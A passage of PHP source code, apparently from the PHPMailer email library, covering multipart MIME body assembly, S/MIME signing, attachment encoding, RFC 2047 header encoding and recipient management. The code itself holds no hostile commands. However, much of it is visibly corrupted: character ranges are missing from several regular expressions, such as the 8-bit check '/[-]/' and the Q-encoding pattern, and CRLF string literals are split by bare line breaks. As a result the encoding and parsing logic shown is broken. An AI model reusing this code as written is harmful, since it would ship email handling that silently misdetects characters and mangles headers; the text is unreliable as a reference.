//Create unique IDs and preset boundaries
$this->uniqueid = $this->generateId();
$this->boundary[1] = 'b1_' . $this->uniqueid;
$this->boundary[2] = 'b2_' . $this->uniqueid;
$this->boundary[3] = 'b3_' . $this->uniqueid;
if ($this->sign_key_file) {
$body .= $this->getMailMIME() . $this->LE;
}
$this->setWordWrap();
$bodyEncoding = $this->Encoding;
$bodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
$bodyEncoding = '7bit';
//All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
$bodyCharSet = 'us-ascii';
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding for the body part only
if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
$bodyEncoding = 'quoted-printable';
}
$altBodyEncoding = $this->Encoding;
$altBodyCharSet = $this->CharSet;
//Can we do a 7-bit downgrade?
if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
$altBodyEncoding = '7bit';
//All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
$altBodyCharSet = 'us-ascii';
}
//If lines are too long, and we're not already using an encoding that will shorten them,
//change to quoted-printable transfer encoding for the alt body part only
if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
$altBodyEncoding = 'quoted-printable';
}
//Use this as a preamble in all multipart message types
$mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
switch ($this->message_type) {
case 'inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[1]);
break;
case 'attach':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
if (!empty($this->Ical)) {
$body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
$body .= $this->encodeString($this->Ical, $this->Encoding);
$body .= $this->LE . $this->LE;
}
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_inline':
$body .= $mimepre;
$body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[2]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[1]);
break;
case 'alt_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
case 'alt_inline_attach':
$body .= $mimepre;
$body .= $this->textLine('--' . $this->boundary[1]);
$body .= $this->headerLine('Content-Type', 'multipart/alternative;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[2] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
$body .= $this->encodeString($this->AltBody, $altBodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->textLine('--' . $this->boundary[2]);
$body .= $this->headerLine('Content-Type', 'multipart/related;');
$body .= $this->textLine(" boundary=\"" . $this->boundary[3] . '"');
$body .= $this->LE;
$body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
$body .= $this->encodeString($this->Body, $bodyEncoding);
$body .= $this->LE . $this->LE;
$body .= $this->attachAll('inline', $this->boundary[3]);
$body .= $this->LE;
$body .= $this->endBoundary($this->boundary[2]);
$body .= $this->LE;
$body .= $this->attachAll('attachment', $this->boundary[1]);
break;
default:
// Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
//Reset the `Encoding` property in case we changed it for line length reasons
$this->Encoding = $bodyEncoding;
$body .= $this->encodeString($this->Body, $this->Encoding);
break;
}
if ($this->isError()) {
$body = '';
} elseif ($this->sign_key_file) {
try {
if (!defined('PKCS7_TEXT')) {
throw new phpmailerException($this->lang('extension_missing') . 'openssl');
}
// @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
$file = tempnam(sys_get_temp_dir(), 'mail');
if (false === file_put_contents($file, $body)) {
throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
}
$signed = tempnam(sys_get_temp_dir(), 'signed');
//Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
if (empty($this->sign_extracerts_file)) {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
null
);
} else {
$sign = @openssl_pkcs7_sign(
$file,
$signed,
'file://' . realpath($this->sign_cert_file),
array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
null,
PKCS7_DETACHED,
$this->sign_extracerts_file
);
}
if ($sign) {
@unlink($file);
$body = file_get_contents($signed);
@unlink($signed);
//The message returned by openssl contains both headers and body, so need to split them up
$parts = explode("
", $body, 2);
$this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
$body = $parts[1];
} else {
@unlink($file);
@unlink($signed);
throw new phpmailerException($this->lang('signing') . openssl_error_string());
}
} catch (phpmailerException $exc) {
$body = '';
if ($this->exceptions) {
throw $exc;
}
}
}
return $body;
}
/**
* Return the start of a message boundary.
* @access protected
* @param string $boundary
* @param string $charSet
* @param string $contentType
* @param string $encoding
* @return string
*/
protected function getBoundary($boundary, $charSet, $contentType, $encoding)
{
$result = '';
if ($charSet == '') {
$charSet = $this->CharSet;
}
if ($contentType == '') {
$contentType = $this->ContentType;
}
if ($encoding == '') {
$encoding = $this->Encoding;
}
$result .= $this->textLine('--' . $boundary);
$result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
$result .= $this->LE;
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
}
$result .= $this->LE;
return $result;
}
/**
* Return the end of a message boundary.
* @access protected
* @param string $boundary
* @return string
*/
protected function endBoundary($boundary)
{
return $this->LE . '--' . $boundary . '--' . $this->LE;
}
/**
* Set the message type.
* PHPMailer only supports some preset message types, not arbitrary MIME structures.
* @access protected
* @return void
*/
protected function setMessageType()
{
$type = array();
if ($this->alternativeExists()) {
$type[] = 'alt';
}
if ($this->inlineImageExists()) {
$type[] = 'inline';
}
if ($this->attachmentExists()) {
$type[] = 'attach';
}
$this->message_type = implode('_', $type);
if ($this->message_type == '') {
//The 'plain' message_type refers to the message having a single body element, not that it is plain-text
$this->message_type = 'plain';
}
}
/**
* Format a header line.
* @access public
* @param string $name
* @param string $value
* @return string
*/
public function headerLine($name, $value)
{
return $name . ': ' . $value . $this->LE;
}
/**
* Return a formatted mail line.
* @access public
* @param string $value
* @return string
*/
public function textLine($value)
{
return $value . $this->LE;
}
/**
* Add an attachment from a path on the filesystem.
* Never use a user-supplied path to a file!
* Returns false if the file could not be found or read.
* Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
* If you need to do that, fetch the resource yourself and pass it in via a local file or string.
* @param string $path Path to the attachment.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @param string $disposition Disposition to use
* @throws phpmailerException
* @return boolean
*/
public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
{
try {
if (!self::isPermittedPath($path) or !@is_file($path)) {
throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => 0
);
} catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
return true;
}
/**
* Return the array of attachments.
* @return array
*/
public function getAttachments()
{
return $this->attachment;
}
/**
* Attach all file, string, and binary attachments to the message.
* Returns an empty string on failure.
* @access protected
* @param string $disposition_type
* @param string $boundary
* @return string
*/
protected function attachAll($disposition_type, $boundary)
{
// Return text of body
$mime = array();
$cidUniq = array();
$incl = array();
// Add all attachments
foreach ($this->attachment as $attachment) {
// Check if it is a valid disposition_filter
if ($attachment[6] == $disposition_type) {
// Check for string attachment
$string = '';
$path = '';
$bString = $attachment[5];
if ($bString) {
$string = $attachment[0];
} else {
$path = $attachment[0];
}
$inclhash = md5(serialize($attachment));
if (in_array($inclhash, $incl)) {
continue;
}
$incl[] = $inclhash;
$name = $attachment[2];
$encoding = $attachment[3];
$type = $attachment[4];
$disposition = $attachment[6];
$cid = $attachment[7];
if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
continue;
}
$cidUniq[$cid] = true;
$mime[] = sprintf('--%s%s', $boundary, $this->LE);
//Only include a filename property if we have one
if (!empty($name)) {
$mime[] = sprintf(
'Content-Type: %s; name="%s"%s',
$type,
$this->encodeHeader($this->secureHeader($name)),
$this->LE
);
} else {
$mime[] = sprintf(
'Content-Type: %s%s',
$type,
$this->LE
);
}
// RFC1341 part 5 says 7bit is assumed if not specified
if ($encoding != '7bit') {
$mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
}
if ($disposition == 'inline') {
$mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
}
// If a filename contains any of these chars, it should be quoted,
// but not otherwise: RFC2183 & RFC2045 5.1
// Fixes a warning in IETF's msglint MIME checker
// Allow for bypassing the Content-Disposition header totally
if (!(empty($disposition))) {
$encoded_name = $this->encodeHeader($this->secureHeader($name));
if (preg_match('/[ \(\)<>@,;:\"\/\[\]\?=]/', $encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename="%s"%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
} else {
if (!empty($encoded_name)) {
$mime[] = sprintf(
'Content-Disposition: %s; filename=%s%s',
$disposition,
$encoded_name,
$this->LE . $this->LE
);
} else {
$mime[] = sprintf(
'Content-Disposition: %s%s',
$disposition,
$this->LE . $this->LE
);
}
}
} else {
$mime[] = $this->LE;
}
// Encode as string attachment
if ($bString) {
$mime[] = $this->encodeString($string, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
} else {
$mime[] = $this->encodeFile($path, $encoding);
if ($this->isError()) {
return '';
}
$mime[] = $this->LE . $this->LE;
}
}
}
$mime[] = sprintf('--%s--%s', $boundary, $this->LE);
return implode('', $mime);
}
/**
* Encode a file attachment in requested format.
* Returns an empty string on failure.
* @param string $path The full path to the file
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
* @throws phpmailerException
* @access protected
* @return string
*/
protected function encodeFile($path, $encoding = 'base64')
{
try {
if (!self::isPermittedPath($path) or !file_exists($path)) {
throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
}
$magic_quotes = false;
if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
$magic_quotes = get_magic_quotes_runtime();
}
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime(false);
} else {
//Doesn't exist in PHP 5.4, but we don't need to check because
//get_magic_quotes_runtime always returns false in 5.4+
//so it will never get here
ini_set('magic_quotes_runtime', false);
}
}
$file_buffer = file_get_contents($path);
$file_buffer = $this->encodeString($file_buffer, $encoding);
if ($magic_quotes) {
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
set_magic_quotes_runtime($magic_quotes);
} else {
ini_set('magic_quotes_runtime', $magic_quotes);
}
}
return $file_buffer;
} catch (Exception $exc) {
$this->setError($exc->getMessage());
return '';
}
}
/**
* Encode a string in requested format.
* Returns an empty string on failure.
* @param string $str The text to encode
* @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
* @access public
* @return string
*/
public function encodeString($str, $encoding = 'base64')
{
$encoded = '';
switch (strtolower($encoding)) {
case 'base64':
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->fixEOL($str);
// Make sure it ends with a line break
if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
$encoded .= $this->LE;
}
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->encodeQP($str);
break;
default:
$this->setError($this->lang('encoding') . $encoding);
break;
}
return $encoded;
}
/**
* Encode a header string optimally.
* Picks shortest of Q, B, quoted-printable or none.
* @access public
* @param string $str
* @param string $position
* @return string
*/
public function encodeHeader($str, $position = 'text')
{
$matchcount = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[-]/', $str)) {
// Can't use addslashes as we don't know the value of magic_quotes_sybase
$encoded = addcslashes($str, "..\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$matchcount = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
$matchcount = preg_match_all('/[()"]/', $str, $matches);
// Intentional fall-through
case 'text':
default:
$matchcount += preg_match_all('/[---]/', $str, $matches);
break;
}
//There are no chars that need encoding
if ($matchcount == 0) {
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
// Try to select the encoding which should produce the shortest output
if ($matchcount > strlen($str) / 3) {
// More than a third of the content will need encoding, so B encoding will be most efficient
$encoding = 'B';
if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
// Use a custom function which correctly encodes and wraps long
// multibyte strings without breaking lines within a character
$encoded = $this->base64EncodeWrapMB($str, "
");
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "
"));
}
} else {
$encoding = 'Q';
$encoded = $this->encodeQ($str, $position);
$encoded = $this->wrapText($encoded, $maxlen, true);
$encoded = str_replace('=' . self::CRLF, "
", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding??=", $encoded);
$encoded = trim(str_replace("
", $this->LE, $encoded));
return $encoded;
}
/**
* Check if a string contains multi-byte characters.
* @access public
* @param string $str multi-byte text to wrap encode
* @return boolean
*/
public function hasMultiBytes($str)
{
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else { // Assume no multibytes (we can't handle without mbstring functions anyway)
return false;
}
}
/**
* Does a string contain any 8-bit chars (in any charset)?
* @param string $text
* @return boolean
*/
public function has8bitChars($text)
{
return (boolean)preg_match('/[-]/', $text);
}
/**
* Encode and wrap long multibyte strings for mail headers
* without breaking lines within a character.
* Adapted from a function by paravoid
* @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
* @access public
* @param string $str multi-byte text to wrap encode
* @param string $linebreak string to use as linefeed/end-of-line
* @return string
*/
public function base64EncodeWrapMB($str, $linebreak = null)
{
$start = '=?' . $this->CharSet . '?B?';
$end = '?=';
$encoded = '';
if ($linebreak === null) {
$linebreak = $this->LE;
}
$mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
$ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
$avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
} while (strlen($chunk) > $length);
$encoded .= $chunk . $linebreak;
}
// Chomp the last linefeed
$encoded = substr($encoded, 0, -strlen($linebreak));
return $encoded;
}
/**
* Encode a string in quoted-printable format.
* According to RFC2045 section 6.7.
* @access public
* @param string $string The text to encode
* @param integer $line_max Number of chars allowed on a line before wrapping
* @return string
* @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
*/
public function encodeQP($string, $line_max = 76)
{
// Use native function if it's available (>= PHP5.3)
if (function_exists('quoted_printable_encode')) {
return quoted_printable_encode($string);
}
// Fall back to a pure PHP implementation
$string = str_replace(
array('%20', '%0D%0A.', '%0D%0A', '%'),
array(' ', "
=2E", "
", '='),
rawurlencode($string)
);
return preg_replace('/[^
]{' . ($line_max - 3) . '}[^=
]{2}/', "$0=
", $string);
}
/**
* Backward compatibility wrapper for an old QP encoding function that was removed.
* @see PHPMailer::encodeQP()
* @access public
* @param string $string
* @param integer $line_max
* @param boolean $space_conv
* @return string
* @deprecated Use encodeQP instead.
*/
public function encodeQPphp(
$string,
$line_max = 76,
/** @noinspection PhpUnusedParameterInspection */ $space_conv = false
) {
return $this->encodeQP($string, $line_max);
}
/**
* Encode a string using Q encoding.
* @link http://tools.ietf.org/html/rfc2047
* @param string $str the text to encode
* @param string $position Where the text is going to be used, see the RFC for what that means
* @access public
* @return string
*/
public function encodeQ($str, $position = 'text')
{
// There should not be any EOL in the string
$pattern = '';
$encoded = str_replace(array("
", "
"), '', $str);
switch (strtolower($position)) {
case 'phrase':
// RFC 2047 section 5.3
$pattern = '^A-Za-z0-9!*+\/ -';
break;
/** @noinspection PhpMissingBreakStatementInspection */
case 'comment':
// RFC 2047 section 5.2
$pattern = '\(\)"';
// intentional fall-through
// for this reason we build the $pattern without including delimiters and []
case 'text':
default:
// RFC 2047 section 5.1
// Replace every high ascii, control, =, ? and _ characters
$pattern = '- -=?_-' . $pattern;
break;
}
$matches = array();
if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
// If the string contains an '=', make sure it's the first thing we replace
// so as to avoid double-encoding
$eqkey = array_search('=', $matches[0]);
if (false !== $eqkey) {
unset($matches[0][$eqkey]);
array_unshift($matches[0], '=');
}
foreach (array_unique($matches[0]) as $char) {
$encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
}
}
// Replace every spaces to _ (more readable than =20)
return str_replace(' ', '_', $encoded);
}
/**
* Add a string or binary attachment (non-filesystem).
* This method can be used to attach ascii or binary data,
* such as a BLOB record from a database.
* @param string $string String attachment data.
* @param string $filename Name of the attachment.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @param string $disposition Disposition to use
* @return void
*/
public function addStringAttachment(
$string,
$filename,
$encoding = 'base64',
$type = '',
$disposition = 'attachment'
) {
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($filename);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $filename,
2 => basename($filename),
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => 0
);
}
/**
* Add an embedded (inline) attachment from a file.
* This can include images, sounds, and just about any other document type.
* These differ from 'regular' attachments in that they are intended to be
* displayed inline with the message, not just attached for download.
* This is used in HTML messages that embed the images
* the HTML refers to using the $cid value.
* Never use a user-supplied path to a file!
* @param string $path Path to the attachment.
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File MIME type.
* @param string $disposition Disposition to use
* @return boolean True on successfully adding an attachment
*/
public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
{
if (!self::isPermittedPath($path) or !@is_file($path)) {
$this->setError($this->lang('file_access') . $path);
return false;
}
// If a MIME type is not specified, try to work it out from the file name
if ($type == '') {
$type = self::filenameToType($path);
}
$filename = basename($path);
if ($name == '') {
$name = $filename;
}
// Append to $attachment array
$this->attachment[] = array(
0 => $path,
1 => $filename,
2 => $name,
3 => $encoding,
4 => $type,
5 => false, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
/**
* Add an embedded stringified attachment.
* This can include images, sounds, and just about any other document type.
* Be sure to set the $type to an image type for images:
* JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
* @param string $string The attachment binary data.
* @param string $cid Content ID of the attachment; Use this to reference
* the content when using an embedded image in HTML.
* @param string $name
* @param string $encoding File encoding (see $Encoding).
* @param string $type MIME type.
* @param string $disposition Disposition to use
* @return boolean True on successfully adding an attachment
*/
public function addStringEmbeddedImage(
$string,
$cid,
$name = '',
$encoding = 'base64',
$type = '',
$disposition = 'inline'
) {
// If a MIME type is not specified, try to work it out from the name
if ($type == '' and !empty($name)) {
$type = self::filenameToType($name);
}
// Append to $attachment array
$this->attachment[] = array(
0 => $string,
1 => $name,
2 => $name,
3 => $encoding,
4 => $type,
5 => true, // isStringAttachment
6 => $disposition,
7 => $cid
);
return true;
}
/**
* Check if an inline attachment is present.
* @access public
* @return boolean
*/
public function inlineImageExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'inline') {
return true;
}
}
return false;
}
/**
* Check if an attachment (non-inline) is present.
* @return boolean
*/
public function attachmentExists()
{
foreach ($this->attachment as $attachment) {
if ($attachment[6] == 'attachment') {
return true;
}
}
return false;
}
/**
* Check if this message has an alternative body set.
* @return boolean
*/
public function alternativeExists()
{
return !empty($this->AltBody);
}
/**
* Clear queued addresses of given kind.
* @access protected
* @param string $kind 'to', 'cc', or 'bcc'
* @return void
*/
public function clearQueuedAddresses($kind)
{
$RecipientsQueue = $this->RecipientsQueue;
foreach ($RecipientsQueue as $address => $params) {
if ($params[0] == $kind) {
unset($this->RecipientsQueue[$address]);
}
}
}
/**
* Clear all To recipients.
* @return void
*/
public function clearAddresses()
{
foreach ($this->to as $to) {
unset($this->all_recipients[strtolower($to[0])]);
}
$this->to = array();
$this->clearQueuedAddresses('to');
}
/**
* Clear all CC recipients.
* @return void
*/
public function clearCCs()
{
foreach ($this->cc as $cc) {
unset($this->all_recipients[strtolower($cc[0])]);
}
$this->cc = array();
$this->clearQueuedAddresses('cc');
}
/**
* Clear all BCC recipients.
* @return void
*/
public function clearBCCs()
{
foreach ($this->bcc as $bcc) {
unset($this->all_recipients[strtolower($bcc[0])]);
}
$this->bcc = array();
$this->clearQueuedAddresses('bcc');
}
/**
* Clear all ReplyTo recipients.
* @return void
*/
public function clearReplyTos()
{
$this->ReplyTo = array();
$this->ReplyToQueue = array();
}
/**
* Clear all recipient types.
* @return void
*/
public function clearAllRecipients()
{
$this->to = array();
$this->cc = array();
$this->bcc = array();
$this->all_recipients = array();
$this->RecipientsQueue = array();
}
/**
* Clear all filesystem, string, and binary attachments.
* @return void
*/
public function clearAttachments()
{
$this->attachment = array();
}
/**
* Clear all custom headers.
* @return void
*/
public function clearCustomHeaders()
{
$this->CustomHeader = array();
}
/**
* Add an error message to the error container.
* @access protected
* @param string $msg
* @return void
*/
protected function setError($msg)
{
$this->error_count++;
if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
$lasterror = $this->smtp->getError();
if (!empty($lasterror['error'])) {
$msg .= $this->lang('smtp_error') . $lasterror['error'];
if (!empty($lasterror['detail'])) {
$msg .= ' Detail: '. $lasterror['detail'];
}
if (!empty($lasterror['smtp_code'])) {
$msg .= ' SMTP code: ' . $lasterror['smtp_code'];
}
if (!empty($lasterror['smtp_code_ex'])) {
$msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
}
}
}
$this->ErrorInfo = $msg;
}
/**
* Return an RFC 822 formatted date.
* @access public
* @return string
* @static
*/
public static function rfcDate()
{
// Set the time zone to whatever the default is to avoid 500 errors
// Will default to UTC if it's not set properly in php.ini
date_default_timezone_set(@date_default_timezone_get());
return date('D, j M Y H:i:s O');
}
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
/**
* Get an error message in the current language.
* @access protected
* @param string $key
* @return string
*/
protected function lang($key)
{
if (count($this->language) < 1) {
$this->setLanguage('en'); // set the default language
}
if (array_key_exists($key, $this->language)) {
if ($key == 'smtp_connect_failed') {
//Include a link to troubleshooting docs on SMTP connection failure
//this is by far the biggest cause of support questions
//but it's usually not PHPMailer's fault.
return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
}
return $this->language[$key];
} else {
//Return the key as a fallback
return $key;
}
}
/**
* Check if an error occurred.
* @access public
* @return boolean True if an error did occur.
*/
public function isError()
{
return ($this->error_count > 0);
}
/**
* Ensure consistent line endings in a string.
* Changes every end of line from CRLF, CR or LF to $this->LE.
* @access public
* @param string $str String to fixEOL
* @return string
*/
public function fixEOL($str)
{
// Normalise to
$nstr = str_replace(array("
", "
"), "
", $str);
// Now convert LE as needed
if ($this->LE !== "
") {
$nstr = str_replace("
", $this->LE, $nstr);
}
return $nstr;
}
/**
* Add a custom header.
* $name value can be overloaded to contain
* both header name and value (name:value)
* @access public
* @param string $name Custom header name
* @param string $value Header value
* @return void
*/
public function addCustomHeader($name, $value = null)
{
if ($value === null) {
// Value passed in as name:value
$this->CustomHeader[] = explode(':', $name, 2);
} else {
$this->CustomHeader[] = array($name, $value);
}
}
/**
* Returns all custom headers.
* @return array
*/
public function getCustomHeaders()
{
return $this->CustomHeader;
}
/**
* Create a message body from an HTML string.
* Automatically inlines images and creates a plain-text version by converting the HTML,
* overwriting any existing values in Body and AltBody.
* Do not source $message content from user input!
* $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
* will look for an image file in $basedir/images/a.png and convert it to inline.
* If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
* If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
* @access public
* @param string $message HTML message string
* @param string $basedir Absolute path to a base directory to prepend to relative paths to images
* @param boolean|callable $advanced Whether to use the internal HTML to text converter
* or your own custom converter @see PHPMailer::html2text()
* @return string $message The transformed message Body
*/
public function msgHTML($message, $basedir = '', $advanced = false)
{
preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
if (array_key_exists(2, $images)) {
if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
// Ensure $basedir has a trailing /
$basedir .= '/';
}
foreach ($images[2] as $imgindex => $url) {
// Convert data URIs into embedded images
if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
$data = substr($url, strpos($url, ','));
if ($match[2]) {
$data = base64_decode($data);
} else {
$data = rawurldecode($data);
}
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
$message = str_replace(
$images[0][$imgindex],
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
continue;
}
if (
// Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
!empty($basedir)
// Ignore URLs containing parent dir traversal (..)
&& (strpos($url, '..') === false)
// Do not change urls that are already inline images
&& substr($url, 0, 4) !== 'cid:'
// Do not change absolute URLs, including anonymous protocol
&& !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
) {
$filename = basename($url);
$directory = dirname($url);
if ($directory == '.') {
$directory = '';
}
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if (strlen($directory) > 1 && substr($directory, -1) != '/') {
$directory .= '/';
}
if ($this->addEmbeddedImage(
